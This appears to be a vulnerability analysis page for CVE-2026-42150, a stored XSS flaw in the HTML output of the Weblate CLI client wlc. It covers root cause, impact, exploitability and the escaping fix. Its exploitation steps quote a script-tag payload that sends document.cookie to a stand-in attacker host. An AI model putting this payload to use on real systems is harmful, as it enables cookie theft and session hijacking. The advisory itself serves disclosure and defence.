CVE-2026-42150: 
Python vulnerability analysis and mitigation

CVE-2026-42150 is a stored Cross-Site Scripting (XSS) vulnerability in wlc, the Weblate command-line client that interfaces with Weblate's REST API. The print_html function in wlc/main.py embeds API response data directly into HTML output without escaping, allowing malicious content from the Weblate API to execute as JavaScript when the HTML output is rendered in a browser. All versions of wlc prior to 1.18 (pip package) / 2.0.0 (release tag) are affected. The vulnerability was reported by researcher fg0x0, patched on April 20, 2026, and publicly disclosed on May 8, 2026. It carries a CVSS v3.1 base score of 5.1 (Moderate) per the GitHub Security Advisory (GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code path is the print_html method in wlc/main.py, which rendered table headers, row values, and key-value pairs using format_output_value() — a function that performs no HTML escaping — and interpolated the results directly into HTML table markup. An attacker who can control data returned by the Weblate REST API (e.g., by crafting malicious translation strings, component names, or other user-controlled fields) can inject arbitrary HTML/JavaScript payloads. The fix introduced a dedicated format_html_value() helper that wraps output through Python's html.escape() with quote=True before insertion into HTML, and added regression tests covering both list and detail output paths (GitHub Advisory, Fix Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who opens the HTML-formatted wlc output. This can lead to session token theft, credential harvesting, or further client-side attacks against the victim. The confidentiality and integrity impacts are rated Low (limited data access and modification), with no availability impact. Exploitation is constrained to scenarios where the HTML output format is explicitly used and the resulting file is opened in a browser, limiting the practical attack surface (GitHub Advisory).

No public exploit code, exploit kits, or in-the-wild exploitation have been reported for this vulnerability. The EPSS score is approximately 0.032% (0.000320), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires the attacker to have high privileges on the Weblate instance (to inject malicious data via the API), and a victim must explicitly use the --format html output option and open the resulting HTML in a browser (GitHub Advisory).

1. Gain API access: Obtain high-privilege access to a Weblate instance (e.g., as an administrator or project manager) sufficient to create or modify translation components, strings, or other API-exposed fields.
2. Inject XSS payload: Set a user-controlled field (e.g., a component name, translation string, or project description) to a malicious value such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script>.
3. Wait for victim to use wlc with HTML output: The victim must run a wlc command that retrieves the poisoned data and uses the HTML output format, e.g., wlc --format html list-components > output.html.
4. Victim opens HTML file in browser: When the victim opens output.html in a web browser, the unescaped payload executes as JavaScript, enabling session hijacking, credential theft, or other client-side attacks (GitHub Advisory, Fix Commit).

Upgrade wlc to version 1.18 or later (pip package), which corresponds to the 2.0.0 release tag, where HTML output is properly escaped via html.escape(). The fix was merged on April 20, 2026 (commit 0f3e58f). As a workaround, avoid using the --format html output option entirely, since the vulnerable code path is opt-in and not triggered by default text, CSV, or JSON output formats (GitHub Advisory, Release 2.0.0).

The vulnerability was reported by researcher fg0x0 and acknowledged by Weblate maintainer nijel, who promptly merged the fix and published the advisory. The 2.0.0 release notes explicitly reference the security fix alongside broader output-safety hardening (CSV, terminal, and HTML escaping). No significant broader media coverage or notable community discussion beyond the GitHub advisory has been identified (GitHub Advisory, Release 2.0.0).